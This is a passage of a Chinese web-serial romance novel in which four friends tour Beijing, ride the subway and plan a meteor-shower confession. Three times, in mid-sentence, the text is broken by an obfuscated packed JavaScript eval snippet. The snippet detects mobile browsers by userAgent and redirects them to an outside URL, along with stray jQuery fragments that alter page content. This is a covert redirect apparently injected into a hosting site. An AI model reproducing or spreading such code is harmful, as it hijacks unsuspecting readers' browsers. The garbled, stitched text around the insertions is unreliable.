他冲身后一指,黄怀予看了一眼,只见他身后停着一辆纯黑色的车,车头中间有一个符号,既像大写字母B又像阿拉伯数字8,左右两边还有一对翅膀。 黄怀予习惯性地接过了苏琬手里的行李箱。 苏琬力气小,每次和苏琬出门,如果她带了箱子,都是黄怀予帮她搬。黄怀予才刚刚往前走了两步,准备把箱子抬进后备箱里,就突然被右后方伸过来的一只大手给拉了过去。 ——谷奕左手摘掉墨镜,右手一把拉过黄怀予手里苏琬的行李箱,单手就放进了后备箱里。 ……行。 黄怀予又回头把自己的箱子拉过来,还没弯下腰,就立刻感到身后一个高大的身影靠近她压了过来,带来一股淡淡的香味的微弱风流,下一秒手上一轻,自己的箱子也被轻松地接了过去,放进了后备箱里。 “……” 她不是很敢和现在这个和自己距离不到二十厘米的男人对视。她只觉得这人好像比起一周以前变得更好看了,皮肤透着光。 黄怀予低着头,看到他卷起袖管后小臂上蜿蜒缠绕的青筋,一不小心又想到之前的每一夜里这人主动给她发过来的照片,脸上又一红。 “好久不见。” 头顶响起清润的男声,这人似乎心情不错。 “没有很久吧,不就一周吗。”她低着头说。 “嗯。” 楚恒轻轻应了一声。 “对我来说,一周也很久。” …… 旁边响起谷奕吊儿郎当的声音: “我坐不惯副驾,我坐后面啊。你们俩自己安排吧。” “那我坐副驾。”黄怀予无所谓地回答。 初中的时候她每次和朋友们出去玩坐出租车,如果是三个人以上,她都会主动去坐副驾,因为她胖,身体占地面积太大,坐后面会挤到别人——这个习惯一直保持到现在。 直到拉开车门坐进车里系上了安全带,驾驶座的门被拉开,一个蓝灰色的身影坐了进来,她才突然僵硬住。 对啊,这是四座车,总共就四个人,没有司机。 谷奕坐后面,那开车的只可能是……他。 门被关上。 两人隔着几十厘米的距离被固定在同排座位上,身处一个密闭空间里,黄怀予不敢扭头,只能目视前方,但是只是用余光就可以扫到楚恒慢悠悠拉安全带的动作。 “咔嚓——” 安全带被系上,车启动,一路向前驶去。 * 黄怀予举着手机,对着车窗外一顿拍照。 车里轻轻柔柔放着英文歌,冷气温度适宜,空气里淡淡的香薰味道,车开得很稳,遇到红灯时的刹车也不急不缓,好像和司机本人的性格一样,没什么波动起伏。 黄怀予很少体验到这么平静的车程,因为楚门人开车好像都急急慌慌的,民风比较彪悍,公交车更是能把人晃吐。 她看着窗外林立的高楼,竟在兴奋中催生出一丝睡意,是那种类似于听ASMR的极度舒服的感觉。 后面谷奕和苏琬有一搭没一搭地聊天,偶尔苏琬会指着某一个建筑问那是什么,谷奕就问楚恒,楚恒一边开车一边淡淡回答。 一向寡言的他偶尔会多说两句,比如前面就是鸟巢,再往前走就是地坛和雍和宫,他小时候经常去什刹海划船。 他声音好听,语气轻柔,没什么情绪,夹杂着身后那两人忽远忽近的聊天声,听得黄怀予越来越舒服,越来越困。 …… 过了这个红灯,再往前走200米左右,就要到目的地了。 楚恒缓缓踩下刹车,在斑马线前停下。 后面谷奕和苏琬还在热火朝天地聊今晚吃什么。 然而前排却一片安静,两个人都没有说话。 楚恒右手食指轻轻敲了敲方向盘,随后终于微微转过头,看向右边副驾驶的方向。 ——却见,女孩已经闭上眼睛,朝自己这边歪着头,睡得正熟。 他视线落在她脸上。 一秒。两秒。 抬起了右手,把蹭到她鼻子中间的一缕碎发缓慢地整理到了耳后。 手指撤离前的最后一秒,顿了一下,又轻轻捏了一下她的耳垂。 温热的。 很软。 绿灯亮起已经两秒,身后响起不耐烦的喇叭声,他倏地收回手,车子迅速起步,车上的几人都因为惯性往后倒在了靠背上。 ——黄怀予也被这一下弄醒了。 “嗯……到了?” 她解开安全带,正准备打开车门,就突然看见车窗玻璃外出现一张陌生但是满面笑容的脸。 下一秒面前的车门就被从外面打开,一个穿着全身黑西装的男人站在自己面前,冲自己90度鞠躬。 “黄小姐,欢迎光临胜家酒店!” ! 黄怀予吓了一跳,看了他好几眼,有点犹豫地下了车。 下了车这才看到,车停在一座金碧辉煌的建筑前,大门宽阔,正中间用英文花体写着“SHENGJIA”,门前摆着修建精致的绿植,一左一右各站着两个穿黑色西装的工作人员,与此同时车子近处还站着两个黑西装男人,脸上带着极其灿烂的微笑,正一边弯腰打开后座车门,一边护顶。 “苏小姐,欢迎光临胜家酒店!” “楚先生,欢迎光临胜家酒店!” 黄怀予往后看了一眼,这才看见原来楚恒那边也有一个黑西装男人。楚恒点点头,把车钥匙伸了出去,那人立刻双手接了过来,随后从口袋里掏出一个金色的牌子,递到了楚恒手上。 后备箱被打开,已经有两个工作人员去拿行李。 ……黄怀予极其不自然地站在原地,突然不知道要干什么。 看来看去,在场所有人的目光,最后还是都集中在了那个最后下车的人身上—— 谷奕刚踏上地面,在场所有工作人员突然全部立正,一边90度鞠躬一边齐声喊: “少爷好!” 整齐的声浪把谷奕吓得往后一退。 他一把摘下墨镜,露出有些一言难尽的表情,眉头皱了起来。 “搞什么?吓我一跳。” “干嘛突然来这套?” 为首的一个工作人员穿着白色衣服,看上去似乎就和其他人等级不同,他上前两步,那模样几乎有点像点头哈腰。 “少爷难得来,这是必须的。” “热烈欢迎少爷和朋友们莅临帝都店!” 他话音刚落,全场所有人全部开始用力鼓掌。 “……停。” 谷奕扯了扯嘴角,左手插进口袋,斜站着,往后望了望。 “欧叔呢。” 酒店大厅里突然走出一个男人,约莫四五十岁,远远看见谷奕就露出笑容,快步走过来。 “少爷!” 谷奕看见他,立刻开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963928|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“都说了别来这套!你跟他们说了吗?” “说了,他们不信啊。” 欧叔看向白衣服工作人员,那人立刻满面笑容,“我们不是因为少爷来才这样的,我们热情的服务态度将平等对待每一位胜家的顾客。” “……行了。我都说了,我是来玩的,又不是什么钦差大臣!我不会去我妈那里打你小报告的,你放心好了。这一套都别再弄了。” 谷奕向后转身,一边冲黄怀予她们招招手,示意她们跟上,一边迈开长腿往酒店里走去,无奈抚抚眉心,“……弄得跟微服私访似的。” …… 黄怀予跟在谷奕身后。 她看着欧叔和那个白衣服工作人员一直围在谷奕身边,她们这群人走进酒店,像一刃无所顾忌的刀,迎面遇见的所有工作人员全部自动避开,弯腰鞠躬道好。 楚恒手里的车钥匙被换成了一块小小的牌子,她想应该是有人专门去帮忙停车了。身后还跟着两个工作人员,手上正拉着她和苏琬的行李箱,看见她朝后看,纷纷对她露出极其灿烂的笑容。 被这样当成“人上人”对待,人很难不会真心认为自己就是“人上人”吧? 反正黄怀予走在金碧辉煌的酒店大厅里,看着高高的天花板上的欧式玻璃吊坠灯,闻着空气里淡淡的香味,居然都有那么一瞬间觉得自己好像也变成了这家酒店的合法继承人。 她被自己这个想法惊得抖了一下。 不由自主看向前方那个真正的合法继承人。 ——他正双手插着兜,步调散漫地慢慢走着,高大的身形走得很稳,但是头歪着,脚也半踮不踮,那股富家公子的劲儿已经很自然地上来了。 他已经在这样的环境里生活了十几年了。 黄怀予突然想,他是怎么能够忍受来楚门过一年公立高中普通高三生的生活的?怪不得他和他妈吵架的时候,他妈会把“让他来楚门参加高考”这件事情当作是一种“惩罚”和“流放”。 电梯一路向上,身后的工作人员把行李箱一路送到了酒店房间里,多次微笑鞠躬后才离开。 刚刚浩浩荡荡的一群人,转眼间就都迅速消失,又只剩下了她们四人。 谷奕坐在沙发上,翘起二郎腿,把四张房卡轻轻扔在桌上。 “杯姐苏琬,你们先挑。” 苏琬走上前去随便拿起两张,看也没看就随便递给黄怀予一张。 “挑完了。” 谷奕眼里带了点笑意。 “不看看数字什么的?” 黄怀予问:“有什么讲究?” 谷奕:“反正我每次出来住酒店,楼层号和房间号只要带6或者8的。” 黄怀予和苏琬对视一眼,“你们有钱人都这么迷信?” “也许吧。”谷奕偏头,左手放在桌上随意把玩着剩下那两张房卡,扔了一张给楚恒,楚恒正好伸手接住,“跟那些搞怪力乱神的比起来,我只是为了数字好看已经算很普通了。有钱人一般都挺神神叨叨的,生怕下一秒所有财富都没了,所以一个个都很信这种东西。” 谷奕看了看手表。 “快中午了。饿不饿?” 他看向一旁的楚恒,“有京爷在,当然跟着京爷走了。哥们儿,推荐点本地人才知道的东西?” 楚恒没理他的调侃,点点头。 “真的?”谷奕站起来,搂住楚恒的肩膀,“兄弟,你打算中午带我们吃啥?” 楚恒平静开口。 “北京烤鸭。” 124. 第 124 章 北京烤鸭真好吃。 去故宫体验了全套《甄嬛传》名场面打卡,黄怀予和苏琬笑作一团,旁边两个男生一个梗都听不明白,全程沉默,谷奕非常愤怒表示自己回去就开始补看。 在景山公园俯瞰整个故宫建筑群,天边飞来一群鸟雀,太阳柔和不刺眼,天空宽广无比。渺小的自己与壮阔的宇宙,黄怀予回过神来才发现自己竟然落泪了,找了个没人看见的角落胡乱擦了一把,回头就撞进楚恒那双沉沉的眼睛里。 微风吹过,周围游客熙熙攘攘,他一步步走近,没有说话,递过来一包未拆封的纸巾。 逛了南锣鼓巷,黄怀予买了一袋大白兔奶糖,一人分了一把,四个人吃着糖慢悠悠地在绿色树荫下闲逛。楚恒站在雨儿胡同齐白石故居院子里,单薄的身影显得有些肃寂。园中一株海棠艳丽鲜妍,他隔着一扇木门,遥遥望见北房里,黄怀予正站在那儿,低着头,极其认真地看门边的刻字: “本书以求其质,本诗以求其情,本礼以求其宜,本易以求其道;勿展无益之书,勿吐无益之话,勿涉无益之境,勿近无益之人。” 天黑之后,后海在喧闹的夜色中竟显出一丝宁静,岸边绿树白石,暮色沉沉。四个人坐在一家小酒吧外面的座位上,看湖对面五颜六色的灯光和隐隐约约的游船,酒吧里时不时传来轻松沙哑的女声,混在吉他声里,悠哉游哉唱着民谣。 …… 一天的行程结束,回到酒店房间里,黄怀予洗完澡趴在床上,浑身都酸疼。 身后,桌上摆着刚点的奶茶,三个人纷纷在房间沙发里坐下,还在玩飞行棋。 ——没错,这三个人都来了黄怀予的房间。 她也不知道明明一整个白天都呆在一起,为什么谷奕还是一副戒断反应很严重的样子,说什么也要让大家都在黄怀予房间里喝杯奶茶玩玩再走。 “明天还想玩什么?”谷奕手搭在沙发上。 苏琬:“想去颐和园。” 谷奕:“这么巧!我想去清北看看。正好都在一块,对吧?” 楚恒微微点头,“好。” 两个人都说完了,谷奕看向趴在床上一动不动的那具尸体。 “杯姐,你呢?” 那具尸体头朝下埋在床单里没动,过了几秒才瓮瓮地开口: “我想坐地铁。” …… “什么?!” 准备好了专属座驾的谷公子没想到会得到这样一句回答。 “因为楚门没有地铁。地铁是大城市的象征,所以很想体验一下。” 尸体猛地抬起头,看着前方虚无的空气,说完,又扭过头,对那三人露出一个很不好意思的笑。 “不过要是不方便那就算了,我就随便一说。有车当然还是会方便很多。” 谷奕一下子不乐意了。 “算什么算?想要的就要得到!” 他看看旁边两个人,“愿意坐地铁吗?” 结果两个人都点了头,脸上没有任何一丝勉强和不甘愿。 ——于是明天的行程就这样明晃晃多了一样:坐地铁。 黄怀予本来还很是不好意思,结果看那三个人没有一个在意这件事的,全都在玩飞行棋,她又心痒了,跳下床也扑了过去。 “我也要玩!” …… 四个人就这样玩飞行棋玩到了凌晨一点。 又打斗地主打到了凌晨三点。 * 楚恒把车开到了停车场里。 四人下午去过了颐和园和清北,现在正值晚高峰,反正地面上车子也是堵在一起,干脆现在就去完成坐地铁的schedule,去吃晚饭,吃完再回来。 地铁站里人很多,来来往往全是行色匆匆的上班族,带着满身疲惫挤在人群里。 四人在站台上透明门前排队。 苏琬和谷奕在一边拍照。黄怀予遥遥看着电子屏幕上的中英文到站信息指引,陌生的站名,五颜六色的广告,她看着那块牌子发呆。 没过一会,广播声音响起,白色的车厢速度极快地从右边“刷——”地一下飞速进站,黄怀予回过神来,视线回到门边,突然一愣。 她猛然看见,站台门玻璃的倒影里,楚恒就站在自己身后。 他比自己高一两个头,身上套着一件宽大的黑色外套,头上戴了一顶棕色冷帽,冷帽外面还套上了一层外套的黑色帽子,整个人都被包了起来,下半张脸藏在白色口罩里,浑身上下只露出一双眼睛。 ——在她无所事事看着那块牌子发呆的时候,那双眼睛,就已经开始那样直接地、不加掩饰地、平静地,透过玻璃的反射,看着她。 地铁车厢呼啸着进站,又慢慢地停下,人群开始移动。原本看不清身影的透明黯淡玻璃背后一下子多了白色车厢当作背景,无数个头,无数只手,无数双眼睛,全都清清楚楚倒映在玻璃前。 可是黄怀予却好像只能在玻璃里看见他的眼睛。 两个人被团团的人群包围,人们想排队上车,身后的人小幅度地推搡。身体距离越来越近,似乎马上就要碰到,可是两个人却还是只能看着眼前这一片共同的玻璃,你看见的是我的虚影,我看见的也是你的虚影。 门开了。 所有排队的人都迅速往里面冲。 右边一个人高马大的壮年男子突然速度极快地开始推搡往车里冲,黄怀予低下头,突然看见,右后方伸过来一只白皙修长的手,正好悬空挡在了黄怀予腰侧。 人群拥挤,身后的人似乎被挤得向前踉跄一小步。 下一秒,黄怀予后背就紧紧贴上来一具温热的身躯。 他护在腰侧的右手还没来得及收回,身体紧密贴合的这一瞬间仿佛是他从背后将她整个人抱在怀里。 这一刻,人群中的两具身体亲密无间,体温重叠。 玻璃上的倒影一瞬间被移动的人群弄乱,像是风吹过平静的湖面泛起的波澜,黄怀予似乎再也找不到镜子里他的虚影,反而能真真切切感受到,身后楚恒紧实温暖的身体,和他平静真实的心跳。 ——他是真的。 ——她自己也是真的。 两个真实的人之间,真实地贴合在了一起。 为了掩藏身份的帽子和口罩是假的,只能不引人注目地看向镜子里你的虚影是假的,楚门和帝都之间遥远的一千公里是假的。 但是温热的身体是真的,叫嚣着肆意生长的感情是真的,细细密密如擂鼓的心跳是真的。 …… 人流汹涌向前,两人一瞬间就被带着共同挤了进去。 黄怀予向左看看,发现苏琬和谷奕已经被人群冲散,去了车厢另一头。 人越来越多,距离越来越近,她被挤到了楚恒身前,两人面对面站着,呼吸若有若无地缠在一起。 抬起头,就看见他正站着,因为长得高,所以右手没费什么力气地向上抓住了扶手,看上去似乎站得很稳。自己的视线平视的时候只能看到他的锁骨处。 黄怀予左右看了一圈,发现所有能用手扶的地方都已经被占满了。 她局促地站着,试图用双脚保持平衡。 结果下一秒,车厢向一侧偏移,她骤然失去平衡,眼看下一秒就要向后撞到身后的人——腰上突然多了一只有力的手,直接把她向前一揽。 胸口猝不及防贴上他的腹部,双手也因为惯性向前虚虚搂住了他的腰,她结结实实倒在了一个小苍兰香味的怀抱里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977469|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她抬起头,正好对上楚恒那双低头俯视的眼睛。 “对不起!” 黄怀予立刻撒开手,想往后站,可是身后腰上那只手突然多了一股不由分说的力量,把她牢牢按在怀里。 “人多。” “小心。” 他低下头,在她耳边说。 灼热的呼吸在她耳边激起细小的涟漪,她不由得缩起了脖子。 ……两个人距离太近,她几乎被楚恒一动不动地固定在他怀里,此时浑身都不自在。 楚恒低头看着被他抱着的人,正呆呆地看着他脖颈处,似乎正在发呆,眉头都稍微蹙了起来,好像正在思考什么纠结犹豫的事情。 “在想什么。” 他问。 他的声音贴着她耳边响起,楚恒看见她又瑟缩了一下,这才抬起头,有些不确定地看他,很是真诚地实话实说道: “我没带酒精湿巾。” “如果你也没有的话,那要麻烦你忍忍了,等我们到站下车才能去买。” 楚恒站在原地。 他反应了三秒,才反应过来她这句话什么意思。 “……嗯。” 黄怀予看见楚恒眼神闪烁了一下,然后桃花眼弯起来,似乎是在口罩里笑了。 “我确实是在忍。” 车厢一个转弯,她被他抱得更紧。 …… 苏琬和谷奕被挤到了另一个角落。 谷奕一米八/九人高马大的大高个,此时此刻却瑟缩在车厢的一个小小角落里。 这样一个娇生惯养养尊处优的富二代公子哥,居然现在在这里挤地铁。 他脸上也没有任何烦躁,只是向上举起手撑着车厢顶部,逆来顺受地被压着。 苏琬看着觉得好笑。 谷奕不自在地换了只手,“笑什么?” 苏琬右手腾出一半的位置,让给他。 “后悔吗?跑来跟我们一起挤地铁。” “……哪有这么夸张。”谷奕摸摸鼻子,“我都住了一年楚门一中的学生寝室了,还怕这个。出来玩就是为了体验嘛。” 苏琬望了望周围,全都是上班族,结束了一天的工作,挤一个多小时的地铁回家,脸上都是半死不活的表情。 苏琬高三的时候,也经常见到这种表情。 可是不一样的是,这些上班族脸上,更多的是一种平淡的麻木。 她缓缓眨了眨眼睛。 自己以后也会是这样吧?对她来说,挤地铁是没有选择的平凡生活,但是对谷奕来说,挤地铁是难得有一次的新奇体验。作为云省五十万普通平凡的文化生之一,参加高考是她唯一的人生选择,然而这条自己千辛万苦一步步升学走过来的道路,却是被谷奕母亲当做惩罚的警戒方式。 地铁的轰隆声向前,像是正在过隧道。 两人的倒影映在透明的门上,互相交叠,互相面对,可是方向却相反,好像终究要去往不同的远方。 …… 谷奕没注意到她在想什么,只是盯着手机,兴高采烈地说: “我看了天气预报,20号和21号都是晴天,我们那两天就去长城!” “如果我们运气好的话,说不定能看见牧夫座流星雨!” 他说到这里,似乎是想到了什么,又突然显得有些紧张,一向漫不经心的长眸里却带着些许不确定,不敢看苏琬,悄悄低着头。 可是下一秒,他还是没忍住般抬起眼看她,额前那缕挑染后微卷的发丝缓缓落下来,落在眉间,衬得他锋利的眉眼此时此刻变得柔和许多。 苏琬猝不及防对上少年的眼睛,心突然一动。 她低下头。 “好。” 125. 第 125 章 夜幕低垂,四人终于回到酒店。 这次说什么黄怀予也不会被诱惑着玩飞行棋和斗地主了,她态度坚决地把三个人轰回了各自的房间,回到自己房间,累得要死,洗了澡倒头就睡。 结果没睡十分钟,就被一个鬼鬼祟祟的敲门声弄醒了。 “谁!” 她怒气冲冲打开门,看见谷奕讨好堆笑的脸。 “杯姐,有事找你。” …… 两人坐在床边,谷奕还在组织语言,“那啥,20号我们就去长城。” “嗯。”黄怀予静静地看着他,等着下文。 “……听说,可能有流星雨。” “嗯。” “你觉得……如果你是女生,在流星雨下被人表白,浪不浪漫?” 谷奕终于鼓起勇气说出了自己想说的话,脸上已经蔓延了一片淡淡的红色,但是眸子里却充满期待,像是极其渴望得到肯定。 黄怀予大怒,“什么叫如果我是女生?!” 谷奕赶紧改口,“不不不,你就是女生。” 黄怀予这才平静下来,看看他。 想了几秒钟,说,“尚可。” “还算你有点浪漫细胞。”她摸摸下巴,想象了一下。 “真的?!” 谷奕兴奋得差点跳起来。 “太好了!我怎么这么聪明!想到了这么一个完美的计划!” 说完他就站起身来,兴高采烈地准备出去。 “等等——” 黄怀予及时拉住他。 “这就是你的全部计划?” “对啊。” 黄怀予:“你都不准备一个PLANB吗?” “为啥要有PLANB?”他很疑惑。 “万一没有流星雨呢?万一下大雨看不到星星呢?万一后天长城景区不开放呢?” “这么多万一和如果,你都不想想?” 看着对方清澈呆滞的眼神,黄怀予很是无语地当起了谷奕表白计划的顾问。 原计划中还有一个重要道具就是望远镜,谷奕说在他房间里,于是黄怀予拉着他偷偷摸摸出了门,去了他房间,关上了门,仔细分析了一遍所有可能的情况,甚至打开手机做了一个excel,从头到尾都计划了一遍。 …… “只要那天保证景区开放,那大方向就没有问题。” “四个人先上去,安营扎寨,流星雨是bonus不一定有,但是就算没有流星雨也能看星星,也很浪漫。” “万一!突然下雨,没有星星,那就在帐篷里躺着,听雨声,也挺浪漫。到时候我给你创造点条件,比如让你们俩在同一个里面……这种桥段,懂吧?” “再万一!雨下得太大,连帐篷也搭不了,我们还有车,在车里睡一晚上,也不冷。到时候我找个理由把楚恒拉走,你们两个单独聊。这种时候你千万要沉住气,不要觉得下雨了就一切都完了。” 谷奕愣愣的,“都下雨了,还能有回转的余地?” 黄怀予摇摇头,“完美的东西很无聊,大家都很狼狈的时候反而有一种纯真原始的开心。缘分使然,命运如此。” “这个计划最核心的点在哪里?就在于这是我们高考之后,四个人去长城看星星的旅行过程中,你表白!特殊的地点,特殊的时间,特殊的行程,比什么学校门口寝室楼下高级餐厅里那种俗套场合要特别多了!只要人已经站在长城那个地方了,只要看见星星了,氛围感一上来,计划就已经成功了一大半了。” “所以,你在表白之前一定不能太明显。苏琬这么聪明,你脑子又不太行,肯定一下子就看出来了。” “如果你察觉到有可能露馅,你就要主动把氛围转移到四个人一起看星星这件事情上,比如——你可以和我拌嘴吵架。反正我们两个只要呆在一起,就会吵起来。” “放心,出了任何意外我帮你兜着,你就记住,起承转合跟我拌嘴。” “表白开始之前我帮你维持拌嘴打打闹闹的氛围,表白开始之后我就给你制造一切和她独处的机会。剩下的,交给你了,见机行事。” …… 凌晨一点半,黄怀予终于和谷奕做好了所有计划。 两个人算上了所有天气情况,加上了所有可能出现的意外事件,足足延申出了接近十种方案。 看着他斗志满满的脸,黄怀予已经困得像狗,眼睛都快睁不开了。 说了声“拜拜”,她满脸困意,拉开谷奕的房间门,走了出去。 整个八楼此时安静得连头发掉在地上的声音都能听见,天花板上打着微黄却不刺眼的灯,空气里弥漫着好闻的高级香味。 地上铺了地毯,黄怀予踩在地毯上,又觉得这种柔软的感觉很是新奇,又来来回回多踩了几遍。 房间里自带的一次性拖鞋的质量极其得好,穿在脚上柔软而舒适。 她踩着拖鞋,一边捂住嘴打了个哈欠,刚走到拐角,余光一扫,突然看见,角落里好像有一个人。 ! 那个人好像很高,隐藏在黑暗里,动也不动,也不知道在这里呆了多久。 黄怀予吓得困意全无,刚想尖叫。 ——下一秒就被一股大力拉进了拐角,嘴被一只手捂住,倏地一下被压着趴在墙面上。 那只手皮肤有些干燥,带着一股熟悉的安心的香味。 ……楚老师? 黄怀予一下子放松下来。 她面对着墙壁站着,身后的人捂住她的嘴,动作有些强硬,似乎带了些怒气,但是却还是伸出了另一只手挡在了她的腹部和冰冷的墙面之间,怕她撞上去。 她双手抓住他捂住自己嘴巴的那只手往下拉,但是他力气很大,拉了半天却没拉动。 黄怀予扭了扭,嘴唇不小心蹭到他的手心。 对方的手立刻一抖,刚刚还像顽石一般怎么也拉不动的手突然软绵绵失了力气,顺着她的力气放了下来。 黄怀予嘴巴终于重见天日,出声道:“楚老师?” 后面的人没说话。 周围安静一片。 但是黄怀予知道一定是他。 她彻底放下心来,“你吓死我了。” “你大半夜不睡觉,在这里干什么?” 两只手扶住她的肩膀,把她转过来,黄怀予被翻了个身,黑暗中看见一张英俊但是面无表情的脸。 他缓缓开口,一字一字地重复她的话: “那你大半夜不睡觉在这里干什么。” “……我……” 黄怀予心里一颤。 能说吗?当然不能!秘密计划越少人知道越好。 这么牛逼的计划怎么能还没开始就败露,这不是出身未捷身先死吗? 她的慌乱全部落入他眼底,他脸色似乎更加阴沉,手用了些力气,勾住她的腰。 “……就是,跟谷奕商量一下明天去哪里玩。” 黄怀予被楚恒抵在墙边,他高大的身影将她完全笼罩住,他一瞬不瞬地盯着她的表情。 “不能微信商量,一定要面对面吗。” “啊,对,面对面讲得清楚。” “一定要商量到凌晨一点半吗。” “我们聊起来就忘了时间了,哈哈哈。” 听了她的回答,楚恒似乎皱了一下眉。 “聊起来就忘了时间……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993186|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他重复了一遍,似乎是自嘲般扯了扯嘴角,神色变得有些黯然,喃喃道: “你们很合得来吧。” 他突然弯下身,刚洗过头的柔软蓬松的毛茸茸的脑袋凑到她脖颈边,埋了下去,但是却矜持地没有更进一步地揉蹭,像是某种被抛弃的小动物,声音闷闷的。 ——“一定要只有你们两个人在吗。” 他贴在她耳边出声,呼吸热热的。 “……” 黄怀予此时此刻完全不知该作何反应,她腿已经半软了,起了一身鸡皮疙瘩。 心脏砰砰直跳,她有些慌乱地抬起双手,双手抵在楚恒胸前。 “楚老师,说话就说话,你别挨这么近呀。” 肩上的人顿了一下,声音突然有些冷。 “那谷奕可以挨你这么近吗。” ? 这叫什么问题? 黄怀予:“你怎么也跟马辉似的?” 她小幅度举起右手。 “他和苏琬才是一对,我只是旁边的steve。” 压着她的那人听到这话,似乎是反应了一会,才明白steve指的是什么梗。 耳边传来一声轻笑,他像是心情变好了一点,缓缓直起身子,放开了她。 腰上那双灼热的手终于被收了回去,下一秒就转而撑在了她身侧的墙上。 走廊角落,光线昏暗,他高大的身影显得压迫感十足。 两人距离太近,呼吸细细密密地交缠在一起。他晚上刚洗完澡,只穿了一件很单薄的白色T恤,领口开到了锁骨处,黄怀予不用抬头,正对着他挺拔坚硬的胸膛。周围空气安静,他胸前那股淡淡清冽的香味更加明显,像丝绸一样把她完完全全包裹起来。 “……” 黄怀予不敢看他,只能稍微朝左边明亮的走廊看过去,视线却被他撑在自己肩膀边的手臂挡得严严实实。 她头又往右边转,可是右边正好是一个没有灯的漆黑角落,巨大的落地窗被窗帘遮了一半,露出窗外凌晨一点半仍然灯火通明的帝都市。 黄怀予三个方向全部被堵死,只能一动都不敢动地低着头,看他的胸口。她只觉得似乎只要和这人单独相处,自己就永远是被拿捏的那一个,这根本就不像她! 她呼出一口气,不服输般想要找回一点主动权,就像平时和其他异性相处时候的那种自然和轻松。想到这里她立刻鼓起勇气抬起头,撞上楚恒那双正直勾勾看着她的眼睛。 “你问了我这么多,我也要问你。” “你还没回答我呢,你大半夜不睡觉在这里干什么?” 楚恒平静地看着她。 昏暗光线下他那双漆黑的眸子更加暗沉,流淌着说不清道不明的复杂情绪。 半晌,他似乎是笑了一下。 “想听吗?” “半夜十二点的时候,打算去问问你和苏琬,去长城的装备够不够。” “如果不够,我和谷奕明天去买。” “然后,敲了你的房门。” “但是,没有回应。” “走到谷奕门口,却听见他的房间里,传来了你的声音。” …… 楚恒声音很平静,没什么感情起伏,像是说着一件和他无关的事。 可是他的眼里却慢慢燃起一丝汹涌的情感,像暗夜里海上的暴风雨。 这好像是他第一次讲这么长的话,他盯着黄怀予的脸,就这样一字一字讲着。 “我也不知道,为什么胜家酒店的房门这么不隔音。” “但是,我就是能听见你的声音,一点一点从里面传出来。” “直到,凌晨一点半。” 126. 第 126 章 “你在他房间门口从十二点一直站到一点半?!” “就为了捉奸?” 黄怀予目瞪口呆。 她第一反应就是这人怎么看上去清风朗月冷淡疏离的样子,实际上却这么八卦? 如果换做是她,发现了大半夜朋友A还在朋友B房间里没出来这种事,第一反应就是立刻在群里分享大聊特聊,顺便再趴门上偷偷摸摸听一下会不会有什么刺激奇怪的声音。 反正,是绝对不会一直在门口待到A出来为止的。 在门口站这么久,这实在是有种捉奸的感觉了——不是大房捉奸,是八卦捉奸。如果真是大房捉奸就直接愤怒地冲进去了吧,怎么还在门口一动不动站这么久,自虐? …… 楚恒顿住。 他似乎是在思考“捉奸”这个词用在这里的意思。 随后,看着她,眸光闪烁一下,点了一下头。 “……”黄怀予叹口气,“没想到你也是够八卦的,为了验证朋友和朋友之间的一个暧昧猜想,居然能就这么硬生生在门口站一个半小时。” “你当狗仔应该是块好料。” 她再次举起右手,老老实实地说: “虽然我这人也经常撒谎,撒谎起来也经常脸不红心不跳,而且我似乎也骗了你好几次……但是我敢保证,这次我说的绝对是真的。” “我跟谷奕之间的关系,比我的钱包还干净。” 黄怀予确认自己现在脸上的表情应该极其真诚极其可靠,因为她现在说的话真的是实话。 当发现了大半夜朋友A还在朋友B房间里没出来这种事,确实很容易想到他们有暧昧关系,秽乱后宫罪不容诛;但是当这两个人变成了黄怀予和谷奕的时候,颠鸾倒凤一下子就变成了开房打麻将,有种宫女和太监对食的无力感。 突然,黄怀予听见前方走廊房间不远处传来房门被打开的声音。 ——轻轻一声,并不吵闹,但是却在这静谧的走廊里显得极其突出。 ! 有人来了! 黄怀予瞪大眼睛,听见谷奕的脚步声的那一瞬间,就反应极其迅速地抓住了楚恒的衣领,一把把他拉到了右边漆黑的落地窗前,躲进了黑暗的角落里。 一堵墙分隔两边。 明亮处谷奕低头看着手机,兴冲冲往前方跑;黑暗处黄怀予和楚恒贴在一起,几乎是擦着谷奕的视线盲区边界,几个转身躲进了相反方向的黑暗里。 楚恒在那一瞬间被黄怀予攥住衣领牢牢压在墙上,后背猛地撞上了坚硬的墙面。 唇间不自觉溢出闷哼,但是出声的下一秒,嘴就被她的手慌乱地紧紧捂住。 “……” 他低下头,看见黄怀予毛茸茸的脑袋顶。 